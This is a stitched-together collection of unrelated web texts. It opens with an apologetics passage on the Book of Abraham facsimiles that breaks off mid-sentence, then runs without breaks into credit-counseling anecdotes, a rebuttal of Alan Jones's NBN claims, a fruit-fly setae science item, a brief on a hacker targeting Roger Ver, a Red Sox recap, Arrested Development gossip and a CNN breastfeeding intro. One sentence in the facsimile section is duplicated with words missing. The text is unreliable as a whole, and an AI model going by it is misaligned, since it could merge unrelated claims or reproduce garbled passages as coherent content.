It is not possible through an examination of the original papyrus to determine what the priest is holding in his hand.
A comparison of objects that are presumed to have been held by the priest in Facsimile 1 of the Book of Abraham. The original facsimile is missing this detail. Egyptologist Lanny Bell assumes that the priest was holding an object. Charles Larson shows the priest holding nothing, with the wing of the proposed second bird occupying the space. Joseph Smith indicated that the priest was holding a knife.
Response to claim: "The following images show similar funerary scenes which have been discovered elsewhere in Egypt"
The author(s) of Letter to a CES Director (April 2013 revision) make(s) the following claim:
The following images shows the same funeral scene which has been discovered elsewhere in Egypt. (April 2013)
The following images show similar funerary scenes which have been discovered elsewhere in Egypt. (October 2014)
Notice that the jackal-headed Egyptian god of death and afterlife Anubis is consistent in every funerary scene.
FairMormon Response
Fact checking results: The author has stated erroneous information or misinterpreted their sources
Jump to Detail:
Question: Is Joseph Smith papyri Facsimile 1 common and similar to other such scenes?
Joseph Smith papyri Facsimile 1 has a number of unique features that are not present in other lion couch scenes
The mistake: Facsimile 1 does not portray the preparation of a mummy by Anubis - the figure on the "lion couch" is alive and is wearing clothes.The facts: This type of scene is interpreted as the resurrection of Osiris. It therefore is not the "same funeral scene" that is illustrated elsewhere.
Although many similar lion couch scenes exist, this one has quite a few unique features:
No other lion couch scene shows the figure on the couch (Osiris) with both hands raised. (There is a dispute regarding whether or not two hands are represented. See below)
No other lion couch scenes show the figure lying on the couch clothed in the manner shown in Facsimile 1. In most other lion couch scenes, the reclining figure is either completely nude or fully wrapped like a mummy. There is one known scene in which the figure is wearing a loin cloth. None to date show the type of clothing being worn by the figure in Facsimile 1.
No other lion couch scenes to date have shown the reclining figure wearing anklets or foot coverings.
No other lion couch scenes show a crocodile beneath the couch.
The original of Facsimile 1 shows the couch behind the priest's legs, and the reclining figure's legs are shown in front of the priest's. The figure was transferred on to the woodcut prior to publication in the Times and Seasons. The wood cut attempted to correct this odd perspective by placing the legs of the priest behind the lion couch.
the priest's legs, and the reclining figure's legs are shown in of the priest's. The figure was transferred on to the woodcut prior to publication in the. The wood cut attempted to correct this odd perspective by placing the legs of the priest behind the lion couch. No other such scenes have hatched lines such as those designated as "Expanse" or "Firmament" in Facsimile 1.
No other such scenes are known to have the twelve gates or pillars of heaven or anything like them.
No other such scenes show a lotus and an offering table. These items are common in other Egyptian scenes, but do not appear in the lion couch scene.
Therefore, we do not agree that it is the "same funeral scene." Facsimile 1 actually depicts the resurrection of Osiris. The figure on the couch is alive. The figures to which it is compared all show the preparation of a mummy.
Photograph of "lion couch" carving displayed at the Louvre in Paris. Note that there is only a single bird shown. (click to enlarge)
Question: What does the lion couch scene normally represent?
The lion couch vignette usually represents the embalming of the deceased individual in preparation for burial
Photograph of Facsimile 1 from the recovered Joseph Smith Papyri
The papyrus with the illustration represented in Facsimile 1 (view) is the only recovered item that has any connection to the text of the Book of Abraham.
This vignette is called a "lion couch scene" by Egyptologists. It usually represents the embalming of the deceased individual in preparation for burial. However, this particular lion couch scene represents the resurrection of Hor (figure 2), aided by the Egyptian god Anubis (3).[66]
Abraham 1:12 and the notes to Facsimile 1 identify it as representing Abraham being sacrificed by the priest of Elkenah in Ur.
Gospel Topics: "Joseph Smith’s explanations of the facsimiles of the book of Abraham contain additional earmarks of the ancient world"
"Facsimile 1 contains a crocodile deity swimming in what Joseph Smith called 'the firmament over our heads'"
Gospel Topics on LDS.org:
Joseph Smith’s explanations of the facsimiles of the book of Abraham contain additional earmarks of the ancient world. Facsimile 1 and Abraham 1:17 mention the idolatrous god Elkenah. This deity is not mentioned in the Bible, yet modern scholars have identified it as being among the gods worshipped by ancient Mesopotamians. Joseph Smith represented the four figures in figure 6 of facsimile 2 as “this earth in its four quarters.” A similar interpretation has been argued by scholars who study identical figures in other ancient Egyptian texts. Facsimile 1 contains a crocodile deity swimming in what Joseph Smith called “the firmament over our heads.” This interpretation makes sense in light of scholarship that identifies Egyptian conceptions of heaven with “a heavenly ocean.” [67]
Question: What are the criticisms related to Facsimile 1?
Facsimile 1 from the Book of Abraham
The following claims are made regarding Facsimile 1:
That facsimile 1 is simply a typical funerary scene and there are many other papyri showing the same basic scene.
It is claimed that the missing portions of the drawing were incorrectly restored: The head of the priest should have been that of Anubis. The priest should not have been holding a knife. The portion portrayed as Abraham's second hand should have been the wing of a second bird.
It is claimed that Abraham has never been associated with the lion couch vignette such as that portrayed in Facsimile #1 of the Book of Abraham.
Muhlestein and Gee: "It is now apparent that human sacrifice did indeed occur in ancient Egypt"
Abraham noted that the attempt to sacrifice him "was done after the manner of the Egyptians" (Abraham 1:11). Egyptologists Kerry Muhlestein and John Gee note that evidence has been uncovered of the practice of human sacrifice in ancient Egypt,
[A]rchaeologists have discovered evidence of human sacrifice. Just outside the Middle Kingdom fortress at Mirgissa, which had been part of the Egyptian empire in Nubia, a deposit was found containing various ritual objects such as melted wax figurines, a flint knife, and the decapitated body of a foreigner slain during rites designed to ward off enemies. Almost universally, this discovery has been accepted as a case of human sacrifice.20 Texts from this and similar rites from the Middle Kingdom specify that the ritual was directed against "every evil speaker, every evil speech, every evil curse, every evil plot, every evil imprecation, every evil attack, every evil rebellion, every evil plan, and every evil thing,"[68] which refers to those who "speak evil" of the king or of his policies.[69] The remains in the deposit are consistent with those of later ritual texts describing the daily execration rite, which was usually a wax figure substituting in effigy for a human sacrifice: "Bind with the sinew of a red cow... spit on him four times... trample on him with the left foot... smite him with a spear... decapitate him with a knife... place him on the fire... spit on him in the fire many times."[70] Again we see that the use of a knife was followed by burning. The fact that the site of Mirgissa is not in Egypt proper but was part of the Egyptian empire in Nubia informs us that the Egyptians extended such practices beyond their borders. In fact, throughout time we find that ritual violence was often aimed at foreign places and people.[71] Their very foreignness was seen as a threat to Egypt's political and social order. Hence many of the known examples of ritual slaying are aimed at foreigners, such as those at Mirgissa or Tod. All three examples we have shared involve protecting sacred places and things, such as the boundary of a necropolis, a temple, or even Egypt itself.[72]
The Apocalypse of Abraham: "Go out from thy father Terah, and get thee out from the house, that thou also be not slain"
The Apocalypse of Abraham is a Jewish document composed between about 70–150 AD. The Apocalypse of Abraham describes the idolatry of Abraham's father in detail, and talks of how Abraham came to disbelieve in his father's gods:
VIII. And it came to pass while I spake thus to my father Terah in the court of my house, there cometh down the voice of a Mighty One from heaven in a fiery cloud-burst, saying and crying: “Abraham, Abraham!” And I said: “Here am I.” And He said: “Thou art seeking in the understanding of thine heart the God of Gods and the Creator; I am He: Go out from thy father Terah, and get thee out from the house, that thou also be not slain in the sins of thy father’s house.” And I went out. And it came to pass when I went out, that before I succeeded in getting out in front of the door of the court, there came a sound of a [great] thunder and burnt him and his house, and everything whatsoever in his house, down to the ground, forty cubits.[73]
Book of Jubilees 12:1-8: "Abram said to Terah his father...What help and profit have we from those idols which thou dost worship...And his father said unto him...Keep silent, my son, lest they slay thee"
Jubilees 12:1-8:
1. And it came to pass in the sixth week, in the seventh year thereof, that Abram said to Terah his father, saying, 'Father!' 2. And he said, 'Behold, here am I, my son.' And he said,'What help and profit have we from those idols which thou dost worship, And before which thou dost bow thyself? 3. For there is no spirit in them, For they are dumb forms, and a misleading of the heart. Worship them not: 4. Worship the God of heaven, Who causes the rain and the dew to descend on the earth And does everything upon the earth,And has created everything by His word, And all life is from before His face. 5. Why do ye worship things that have no spirit in them? For they are the work of (men's) hands,And on your shoulders do ye bear them, And ye have no help from them, But they are a great cause of shame to those who make them, And a misleading of the heart to those who worship them: Worship them not.' 6. And his father said unto him, I also know it, my son, but what shall I do with a people who have made me to serve before them? 7. And if I tell them the truth, they will slay me; for their soul cleaves to them to worship them and honour them. 8. Keep silent, my son, lest they slay thee.' And these words he spake to his two brothers, and they were angry with him and he kept silent.
Muhlestein and Gee: "Sacrifice was a penalty for desecrating the sacred house of an Egyptian god"
Abraham rejected his father's worship of idols, and may have tried to destroy some of them.[74] A human sacrifice was the penalty for desecrating the sacred house of an Egyptian god.
That the penalty of human sacrifice (including burning) was carried out in some circumstances can be shown from a historical account left by Sesostris13 I (1953–1911 BC).14 Sesostris I recounts finding the temple of Tod in a state of both disrepair and intentional desecration, something he attributed to Asiatic/Semitic interlopers he thus deemed as enemies.15 In response, he submits the purported perpetrators to varying punishments: flaying, impalement, beheading, and burning. He informs us that "[the knife] was applied to the children of the enemy (ms.w ḫrwy), sacrifices among the Asiatics."16 Sesostris intended a sacrificial association to be applied to the executions he had just enacted.17 This point is augmented by the fact that some temple sacrifices were consumed by fire.18 While a lacuna makes it impossible to be certain, some of the victims may even have been stabbed with a knife before being burned. In other eras of Egyptian history, this practice of burning seems to have been carried out when ritually slaying a human.19 Clearly, when the sacred house of a god had been desecrated, the Egyptian king responded by sacrificing those responsible.[75]
Peterson: "the identification of a crocodile as the idolatrous god of Pharaoh...Unas’ pyramid texts, includes the following: 'The king appears as the crocodile god Sobek'"
Daniel C. Peterson:
One noteworthy element of the religious situation portrayed in the Book of Abraham is the identification of a crocodile as the idolatrous god of Pharaoh, right there underneath the lion couch. That’s a kind of odd thing to come up with if you’re a yokel farm-boy from upstate New York. Is that the first thing that comes to your mind? “Oh, idolatrous god of Pharaoh!” Although this may have seemed strange in Joseph Smith’s day, discoveries in other ancient texts confirm this representation. Unas or Wenis, for example, was the last king of the fifth dynasty, around 2300 B.C., and his pyramid still stands at Saqqara, south of modern Cairo. Utterance 317, Unas’ pyramid texts, includes the following: “The king appears as the crocodile god Sobek, and Unas has come today from the overflowing flood. Unas is Sobek, green plumed, wakeful, alert….Una arises as Sobek, son of Neith. One scholar observes that “the god Sobek is … viewed as a manifestation of Horus, the god most closely identified with the kingship of Egypt” during the Egyptian Middle Kingdom era (around 2000 B.C., maybe a little later), which includes the time period that tradition indicates is Abraham’s time. Intriguingly, Middle Kingdom Egypt saw a great deal of activity in the large oasis to the southwest of modern Cairo known as the Faiyum. Crocodiles were common there. You know what the name of the place was to the Greeks? The major town there was called “Crocodileopolis.” [76]
Response to claim: "a side-by-side comparison of what Joseph Smith translated in Facsimile #2 versus what it actually says according to Egyptologists"
The author(s) of Letter to a CES Director (April 2013 revision) make(s) the following claim:
The following ["mormoninfographic"] is a side-by-side comparison of what Joseph Smith translated in Facsimile #2 versus what it actually says according to Egyptologists and modern Egyptology.
FairMormon Response
Fact checking results: This claim is based upon correct information - The author is providing knowledge concerning some particular fact, subject, or event
Jump to Detail:
Question: Did Joseph Smith identify any elements of Facsimile 2 that are in agreement with what Egyptologists say they represent?
We don't know everything about facsimile 2 and how it was supposed to be translated. For now, we see that Joseph appears to have gotten a few things right.
FIGURE 1
Kolob...nearest to the celestial, or the residence of God.
John Tvedtnes:
The star named Kolob, and it’s called a star, I know that there are some websites that say the Mormons are crazy they think God lives on a planet called Kolob. The passage never says it’s a planet and never says God lives there either; it says it’s closest to where he lives. Anyway, the star named Kolob is so-called “because it is near unto me” (Abr. 3:3) or near “the residence” (Fac. 2, Fig. 1) or “throne of God” (Abr. 3:9). Facsimile 2, Fig. 1 describes it as “nearest to the celestial.” This explanation is attractive because it creates a wordplay in the Book of Abraham; a feature known from the underlying Hebrew of both the Old Testament and the Book of Mormon. The wordplay being between “near” and “Kolob” because in fact the word for Kolob can mean near; there are several possibilities to explain and I’m going to talk about those now. Janne Sjodahl was the first to compare the name with the Arabic qalb “core, marrow, heart, intelligence”, however because ‘l’ and ‘r’ often interchange in Semitic languages, one should also note Arabic QRB “proximity, near, midst” which is cognate to Hebrew qārōb “near” or “close.” Robert F. Smith prefers the latter and notes that it appears in the sense of “near one” as a title of God in Psalm 119:151 where it parallels the word qedem which means the “primeval one” or the “ancient one” (that’s in verse 152). Smith notes that the cognate Ugaritic qurb often refers to the dwelling place of El, the chief God, in the Canaanite pantheon in the expression “midst of the source of the two deeps” where the word rendered “midst” is in fact this same word qurb meaning “near”. Another possible Hebrew etymology is the Hebrew KLB “dog” originally pronounced kalb just as it is in Arabic. This is used to denote the star Regulus in Arabic while the Syriac, which is also kalb denotes the star Sirius, the brightest star in the heavens. There’s a wonderful article that Dan Peterson, and John Gee, and Matt Roper (I think), were the three who (if I left something off that you can fill it in later) but they wrote a really nice article on Kolob and its place in the sky and what it meant for Abraham.4 In Arabic, this term KLB “dog” also denotes the constellation of Canis Major which is Latin meaning “Great Dog”, we call it the Big Dipper but that’s not what is was called anciently, as the brightest star in the constellation of the Big Dipper, Sirius is called Alpha Canis Majoris which is “number one big dog” or top dog, I guess. Another name for the star is Canicula, a Latin word for ‘Little Dog’. Akkadian sources call Sirius (inaudible) the “dog of the sun”. In ancient Egypt the Nile began to rise at the helical rising of Sirius, that is when it came up just before the sun and bringing the annual torrent of Nile water laden with rich volcanic soil from the south and depositing it on the cultivated land. I should mention by the way you notice how the one has a ‘q’ the other has a ‘k’? That’s very important, at least in Arabic, it’s not as important in Hebrew but I always try to get my Hebrew students to pronounce the two differently. In Israel they pronounce the two ‘k’ just that- it’s just like a regular ‘k’ in English. But in ancient times they were pronounced quite differently. One is pronounced way in the back of the throat, the other is pronounced farther up and in Arabic they make a big distinction and my reasoning with my students was, if you don’t make the distinction and you speak in Arabic and you want to tell a girl, “I love you with all of my heart” which is the word that’s coming up next, you don’t want to end up saying “I love you with all of my dog.” (Laughter) I think that struck a note with most of them. So, this is the other one I want to have QLB which is “heart” in Arabic. There are some Egyptian equivalents to that, I didn’t put them up here. There’s a couple of cognates that are related directly to that. In the Sumerian text known as the Descent of Inanna, one of the more ancient texts from the Middle East, the goddess Inana goes down into the Underworld to free her husband Dumuzi who is the god who brings rain during the season of rain, and on the way back to heaven she stops at a place called Kulab which is designated as a tree of some sort. We don’t know why this happens there but there Dumuzi gets to sit on his throne and puts on his royal apparel which he has not been wearing while he’s been in prison.
signifying the first creation...First in government, the last pertaining to measurement of time
Hugh Nibley (and Michael Rhodes):
Figure one is the God Amun. As Peter L. Renouf saw, "the great God, Lord of Heaven, the giver of light, lighting up the Heavens and earth with his rays... to give life to the universe."[77]....The staff held by figure 1, Amun, is a combination of the djed-column, signifying abiding firmness and stability, the was-scepter of power and authority, and he ankh-staff of life --the three things on which all certainty depends. But before all else we are dealing with creation and birth. So, it is enlightening to note that the Prophet Joseph begins his explanation of this figure as "the first creation, nearest to the celestial, or the residence of God. First in government, the last pertaining to measurement of time," etc. It is not the celestial residence, but it is near to it, as the center of one great system, the large system known to Abraham, and though he is aware of the existence of worlds without number, he sees only a particular segment. Indeed, Moses was sharply rebuked when he asked to see it all: "Worlds without number have I created... for mine own purpose;... here is wisdom and it remaineth in me" (Moses 1:33,31). Moses is informed that he has all that he can handle in his own earthly mission and meekly apologizes, "Be merciful unto they servant, O God, and tell me concerning this earth,... and then they servant will be content" (Moses 1:36). The most sublime aspect of Amun is the way he brings all things together in one, just as science today looks for the Grand Unifying Theory (GUT). That is what Amun gives us and we should bear in mind that all the owners of hypocephali were priests and priestesses of Amun-RE, along with their associates. Abraham, viewing the tarry heavens, fund that he "could not see the end thereof" (Abraham 3:12); while Moses, who is given "only an account of this earth," is assured that worlds that now stand are "innumerable... unto man; but all things are numbered unto me, for they are mine and I know them (Moses 1:35). As the doctrine of Min-Amun-Re, etc. proclaims, all the universe is full of life, sustained and rejuvenated in and by the One at the Center. [...] The central figure of most hypocephali has four rams' heads on one neck. Herodotus was intrigued by the representation of Amun with the head of a ram, as in our figures 1 and 2. First of all, he makes it clear that the Egyptians did not for a moment "think that is th way he really was"[78] And he proceeds to explain that Zeus was determined that not even Hercules should see his true appearance, but he at least granted him the indulgence of "displaying himself wearing the fleece of a ram which he had skinned and beheaded." And that is why the Egyptian images of Zeus have a ram's head. They got the idea from the Ammonite Egyptian colonists, whose name for Zeus was Amun. The center of his cult in Egypt was in Mendes[79] Because the Egyptian word for ram, ba, is the same as the wod for soul, the Ram at Mendes also became assocated with both Osiris and Re[80] There are also a four-headed ram-god was thought to combine the attributeds of Re, Shu, Geb, and Osiris, and thenw as extended to include "the ba |
from his briefcase he pulls a bag packed with papers, all bills. The wife was in shock. If looks could kill... He had roughly $80,000 in debt she didn't know about." The husband had been trying to support a lifestyle he couldn't afford, started gambling, lost his job and took out cash advances to pay for it all. The statements went to his post office box. He left the house each morning, pretending to go to work. "I wish I could have crawled away, but tried to stick to the debt and go over possibilities." Monroe gave them referrals for marriage counseling.
Animal story No. 2: The mouse. Rodents can be terrific pets -- but not for people who are terrified of them. Which is why Denise Benioff, a counselor out of Dallas, cites the following as her most memorable appointment: "A client came in for a progress review and explained that her pet mouse had a medical issue and the vet bill was over $200!" She wanted to reduce her creditor payments to cover the cost and asked Benioff if she wanted to see the animal. "Since I have an irrational phobia about mice, I politely declined. Unfortunately for me, she set the mouse right on my desk. After a loud gasp and a potential panic attack, I tried to compose myself while pushing myself back against the wall. I think she understood my reaction and put the mouse back in her coat." The critter stayed home for future reviews.
The wife was in shock. If looks can kill... he had roughly $80,000 in debt she didn't know about. -- Credit counselor Scott Monroe from Phoenix
Looking for miracles. Many clients hope for a magic solution to their problems, making realistic options difficult to propose. Andrew Bernstein, from West Palm Beach, Fla., remembers a resistant-but-broke big spender. The client had been earning a great salary but was told a year before that his job would be eliminated (and even then owed $250,000 in debt). In the months prior to the layoff, he purchased a house, a car and other expensive items. "He had used up all his credit and now, having no money and no real job prospects, he wanted to take care of his debt." Bernstein proposed bankruptcy, but the man said he couldn't afford an attorney. Outside of getting a job, the client's solutions were few. "When I told the guy, he got terribly angry and said the ad he saw claimed that we could assist anybody." Remaining composed, Bernstein advised him that the best thing to do, then, is to start paying everyone whatever he could afford. "I don't know what he did after he hung up with me," he says, who turned the experience into educational gold: "I've used it in my financial literacy seminars for the past eight years!"
After a few years on the job, credit counselors can handle pretty much any type of financial dilemma. Don't put off getting help because you're afraid to reveal what's been going on. Unless you bring an elephant into the room, your circumstances are probably quite ordinary.news Radio shockjock Alan Jones made a statement riddled with factual errors about the Federal Government’s National Broadband Network project on his radio program this morning, describing it as a “white elephant” and a “disaster” and inaccurately claiming that the future of telecommunications is “clearly wireless”, rather than the mainly fibre model the NBN is mainly using.
Jones’ comments this morning stemmed from a report in The Australian newspaper that negotiations had collapsed between the Labor Federal Government and the Coalition NSW State Government over access to NSW power poles to aid in NBN Co’s fibre rollout across NSW. The spat is only the latest disagreement between the Labor Federal Government and the predominantly Coalition-dominated state governments over the NBN, with Victoria having been particularly unhappy with the NBN deployment.
“Well this NBN disaster rolls on,” said Jones. “The white elephant promotes cable technology when the future is clearly wireless. And it’s hopelessly behind schedule, hopelessly over budget, hopelessly unable to capture the public’s imagination. And will be obsolete before it’s built, but polls today say it’s 50-50 [laughs]. How high would they be in the polls if they got something right? Only about 15 per cent of households have bothered to connect to it where it’s been rolled out – 15 per cent.”
“Some say we’ll eventually fork out $50 billion to build it. It’s not in the budget, and it’s hard not to see why. Consider this for example, I see the O’Farrell Government is fighting a last-ditch battle with the Commonwealth over the cost of rolling out NBN cable onto New South Wales power poles where cable can’t go underground. The Federal Government’s now threatening to use draconian laws to overrule New South Wales, a move which the State Government says will force it to increase the cost of electricity to consumers by between $5 and $7 for 20 years.”
Unfortunately, Jones’ statement this morning on air appears to contain a number of incorrect statements.
The idea that Australia’s broadband needs could be served in future by wireless technology — especially 4G mobile broadband is not a new one. It has been raised repeatedly by the Coalition over the past several years as an alternative to the fixed FTTH-style rollout which predominantly features in the NBN. The case for wireless as a future broadband replacement for fixed infrastructure has been strengthened by the huge growth in uptake of 3G and 4G mobile broadband services in Australia, with telcos like Telstra adding on more than a million new customers a year.
However, the global telecommunications industry is currently almost universally in agreement that in every country, telecommunications needs will continue to be served by a mix of fixed and wireless infrastructure.
In Australia, for example,, commentators such as Telstra CEO David Thodey have consistently stated that they expect Australians to buy both mobile and fixed broadband packages in future, as they serve differing needs; fixed broadband to supply homes with powerful connections to facilitate big downloads such as video, and mobile broadband when outside the home, for access to services which typically require lesser capacity. In addition, mobile towers typically also require their own fibre connections to funnel data back from wireless connections to the major fixed-line telecommunications networks.
Secondly, Jones’ comment that the NBN will be obsolete before it is built is also incorrect. The fibre technology while will constitute the vast majority of the NBN rollout contains the potential to be upgraded to deliver 1Gbps speeds to premises and potentially higher speeds in future; the deployment of this technology universally around Australia is expected to place Australia amongst the global leading countries when it comes to telecommunications. It is expected that this technology will be in use for multiple decades – at least between 30 to 50 years.
Jones’ statement that the NBN is “hopelessly unable to capture the public’s imagination” is also incorrect. A series of polls taken over the past several years has shown that the NBN project has continued to enjoy strong levels of popularity since the last Federal Election, even amongst Coalition voters.
In addition, Jones’ statement that the NBN should be included on the Federal Budget is also incorrect. Most of the funding for the NBN does not appear in the Budget, as, according to accounting standards, it is not an expense as generally understood, but is actually a capital investment expected to generate (according to its corporate plan) a modest return of 7.1 percent on the Government’s investment, over the period through to 2030.
According to a research note published last year by the Parliamentary Library of Australia, Labor’s budget treatment of the NBN is correct. “Australia has adopted internationally accepted accounting standards, and these are applied in the budget treatment of the NBN,” the library’s Brian Dalzell, who works in its economics division, wrote in the report. Shadow Communications Minister Malcolm Turnbull has acknowledged the accuracy of the NBN’s accounting treatment, although it is still disputed by other Coalition figures such as Opposition Leader Tony Abbott and Shadow Treasurer Joe Hockey.
In addition, Jones’ statement that only 15 percent of households have bothered to connect to the NBN where it has been rolled out is misleading. In areas where the NBN’s fibre was rolled out first, such as Kiama in NSW, take-up rates have been closed to 40 percent and growing. The closure of Telstra’s copper network, and the HFC cable networks operated by Telstra and Optus, will push this figure dramatically higher in all areas over the next several years, as the NBN becomes the monopoly provider of last-mile fixed broadband infrastructure in Australia.
Jones’ statement that the NBN is behind schedule and hopelessly over budget contains some grounding in truth. In August the company released its new corporate plan, which showed that the project was six months behind schedule and that the overall capital cost of the NBN build had increased by 3.9 percent. However, this was offset by the fact that the total capital cost for the NBN was “significantly less” than the $43 billion originally announced by the Government in April 2009, Communications Minister Stephen Conroy and Finance Minister Penny Wong, who are jointly responsible for the NBN. said at the time, and the delay was less than the nine-month delay expected to have been caused by the lengthy negotiations around the $11 billion deal NBN Co has signed with Telstra to transfer its customers onto the NBN infrastructure and gain access to Telstra’s infrastructure. The 3.9 percent increase in the NBN’s capital costs is believed to be within industry margins of error for a project of this scope.
Jones’ comments this morning reflect only the most recent occasion on which the shockjock – who has strong connections to the Liberal side of politics – has inaccuractely criticised the NBN. In May last year, for example, the radio broadcaster incorrectly stated that German researchers had demonstrated technology which would make the NBN obsolete, delivering speeds 2.6 million times faster than those possible under the Labor project, referring to so-called “lasers” used in the research. In fact, the research breakthrough demonstrated the strength of the NBN’s core fibre technology.
In addition, Jones’ inaccurate comments this morning come just several weeks after the broadcaster was ordered to undergo basic journalism training by Australia’s media regulator, the Australian Communications and Media Authority, after making an incorrect statement regarding carbon dioxide emissions in March 2011. ACMA ruled that Jones’ program would be forced to fact-check certain material before it went to air.
opinion/analysis
I think we know enough by now not to take anything Alan Jones says about the NBN seriously. I note that Jones had until the end of November this year to undertake his required basic journalism training. Perhaps the broadcaster has not yet undergone that training, and we can expect a more factual approach from him in future when it comes to the NBN. However, personally, I’m not holding my breath.
Image credit: Jeremy Buckingham, Creative CommonsMonday, November 11, 2013
Top Row: Fruit fly and a microscopic image of its eye that clearly shows the setae. Bottom Row: Honey Bee and microscopic image of its eye, which also has setae. Credit: Guillermo Amador
From a distance, insects can appear smooth and sleek, but get close enough and hundreds of tiny bristles called setae come into focus. Suddenly what once seemed smooth now resembles a porcupine terror.For certain insect species, setae cover many parts of the body including the legs and eyes. The tiny hairs contain nerves that signal to the insect when dust, pollen, mold or other particles are on its body. Moreover, insects use setae as combs to clean themselves by rubbing the bristles against each other, which flicks debris away.These are just two examples of the many applications setae serve insects and there are still more to be discovered. A team of scientists at Georgia Institute of Technology recently found another application of setae on the eyes of fruit flies.They designed a mock model of a fruit fly eye with 282 evenly spaced fibers and a film of water at the base, representing the surface of the eye. By placing the model in a wind tunnel and measuring the evaporation rate of the water, the team could measure how much airflow reached the mock eye’s surface and how much the fibers diverted.The team found that the fibers could divert up to 90 percent of airflow away from the surface of the eye. This helps keep a fruit fly's eyes clean of debris as it flies. So, part of the reason a fruit fly can see you coming with your swatter is because its hairy eyes protect the eyes' surface from debris clutter.“These setae are very multifunctional,” said Georgia Tech PhD student Guillermo Amador who was part of the study. “And it’s such a simple thing. It’s just a bristle. It’s interesting how insects have been able to integrate many functions into this bristle.”To clean off the small amount of debris that the setae do not divert, a fruit fly will rub its hairy legs against its equally hairy eye. This motion can catapult microscopic particles off and away from the eye’s surface at accelerations over 100 g, the team calculated with high-speed videography, like the clip shown above.In addition to insect eyes, there are many microelectronic devices that could benefit from setae-like fibers. For example, charge-coupled devices (CCDs) in Digital SLR cameras need to stay debris particle-free. If dust particles land on a CCD, they will obstruct light particles from reaching the device thus reducing image quality.“The dual abilities of setae to divert airflow and catapult particles may motivate bio-inspired designs for dust-controlling lenses, sensors, and solar panels,” the team stated in an abstract they submitted for the 66th Annual Meeting of the APS Division of Fluid Dynamics. They will present their findings in more detail at the event held in Pittsburgh, PA from November 24 to 26.Using theoretical models based from their experimental data, the team hopes to determine the optimal bristle array and length that maximizes airflow diversion capability. They have already partnered with laboratories at Georgia Tech to apply their results toward building an efficient method for cleaning microelectromechanical systems (MEMS) cantilevers, a common type of MEMS that have applications in biosensor medical diagnostics.A hacker targeting Roger Ver has given up his attempts to access the angel investor’s accounts after a 37.6 BTC bounty was issued for his arrest.
In a Facebook post earlier this morning, Ver said he was seeking information about the hacker “who is trying to steal all my stuff at the moment”. The bounty is currently worth around $20,000.
He also revealed the hacker is using the Skype username ‘nitrous’.
He posted a similar message on Twitter:
37.6 BTC reward for information that leads to the arrest of the hacker that is trying to hack all my stuff at the moment. details to come! — Roger Ver (@rogerkver) May 23, 2014
Ver told CoinDesk he has contacted the culprit, who decided to back down after learning of the arrest bounty.
“An email address and Facebook account I don’t use anymore were hacked, but it started to spread until I told him I’m offering a $20k bounty for his arrest, then he gave up and gave me the password to all the hacked accounts. I’ll post all the details once I finish locking everything down,” Ver said.ST. PETERSBURG, Fla. -- Take the Fifth?
Unless they're willing to incriminate themselves, Boston Red Sox starting pitchers may have to start doing so until they begin to show the capacity to pitch through the sixth.
Joe Kelly was the latest Sox pitcher who couldn't navigate past five innings, giving back a four-run lead in the sixth in a game the Sox would lose to the Tampa Bay Rays, 7-5, on Wednesday night in Tropicana Field.
"The sixth inning has become a challenge for our rotation of late," Red Sox manager John Farrell said after Kelly was touched for four straight singles and a bases-loaded walk to open the sixth, signaling his departure on a night it appeared he would breeze to victory.
Joe Kelly allowed eight hits and five earned runs in just five innings of work against the Rays. AP Photo/O'Meara
Only once in their last eight outings has a Red Sox starter managed to finish six innings, and that one is best forgotten: Clay Buchholz's arduous six-inning, 11-hit stint last Saturday in a loss to the Orioles.
The short outings haven't all been bombs -- Wade Miley and Justin Masterson won back-to-back games Monday and Tuesday despite their low mileage, five innings and a run allowed against the Orioles for Masterson on Monday, 5 2/3 scoreless innings for Miley in Tuesday's 1-0 win here Tuesday night over the Rays in the series opener.
But an inability to pitch deep into games ultimately catches up to your bullpen, and only twice since April 13, when Rick Porcello went eight innings and Junichi Tazawa pitched the ninth in a 9-4 win over Washington, has Farrell used fewer than four relievers in a game.
Left-hander Craig Breslow couldn't handle the mess he inherited in the sixth, giving up a flared two-run single to pinch hitter Brandon Guyer that tied the score, and Edward (You Haven't Seen the Last of the) Mujica allowed the Rays to untie it in the seventh, two singles and a double-play ball scoring the go-ahead run, and a home run by new callup Jake Elmore extending the lead in the same inning.
"Joe was in such control of the game through most of it up until that point,” Breslow said. "Things happened pretty quickly.”
Kelly gave up a home run, too, to Rays rookie Steven Souza in the first, but allowed only three more hits, a couple of singles and Souza's third-inning double, entering the sixth.
Tired? No reason to believe so. To that point, he had thrown just 68 pitches and commanded the strike zone, throwing 46 for strikes, a shade under 68 percent.
But in the sixth, he started Asdrubal Cabrera with a curveball, and he lined it into center for a base hit. He fell behind Evan Longoria 3-and-0, and Longoria hit the next pitch to left for a single. Pitching coach Juan Nieves paid a visit, but Kelly fell behind again, 2 and 0 to Desmond Jennings, whose bloop single loaded the bases.
Kelly bounced a curveball in the dirt to the next hitter, Allan Dykstra, who then lined the next pitch to center for a single that made it 5-2. Kelly missed with three straight two-seamers, then missed badly with a four-seamer to Logan Forsythe for the four-pitch walk that made it 5-3 and ended his night.
"I fell behind with my fastball, which was pretty good for me tonight," said Kelly, who touched 99 with both his two-seamer and four-seamer.
"That sixth inning, I tried to get too fine with it and fell behind hitters, and kind of threw it down the middle."
And the Rays, who had come into the game losers of four straight and just 1-6 at the Trop, had their first comeback win under new manager Kevin Cash.
"We needed that one," he said.It’s been months since the last nebulous, promising-yet-not-officially-promised progress on the Arrested Development revival, so here’s yet another taste of vague positivity to sustain your faith in the project. Writer and executive producer Dean Lorey has written on his blog (On the Internet! Where people can read it!) that he, Mitch Hurwitz, and Jim Vallely are currently “off writing the new season of Arrested to premiere on Netflix in 2013”—which, yes, is the same thing that was reported the last time someone said something was happening. And while between that announcement and today’s update, no one has yet made any formal deal to return, Lorey swears that “the original cast is back,” that they still plan to shoot this year, and that he would totally give out more details if he could, but “even the schedule is being kept under wraps.” Of course, he didn’t mention whether that new season would still act as a precursor to a feature film, which also doesn’t have an official deal in place yet. However, Lorey did say, “There are offices and parking spaces.” Which, in the ever-tenuous world of the Arrested Development continuation, we guess assigning Jason Bateman a parking space is the equivalent of signing a blood oath. So it’s still definitely happening, probably! [via Deadline]
Advertisement(CNN) "Breast is best" -- you could call it a mantra of sorts that sums up much of today's research on breastfeeding.
Not only does breastfeeding have clear short-term benefits, such as protection from infectious diseases and a reduction in mortality, it's also been shown to be associated with an increase in intelligence.
Prior studies have shown an increase of up to 7.5 IQ points in elementary age children who were breastfed, as well as an increase in verbal, performance and comprehensive IQ in adults
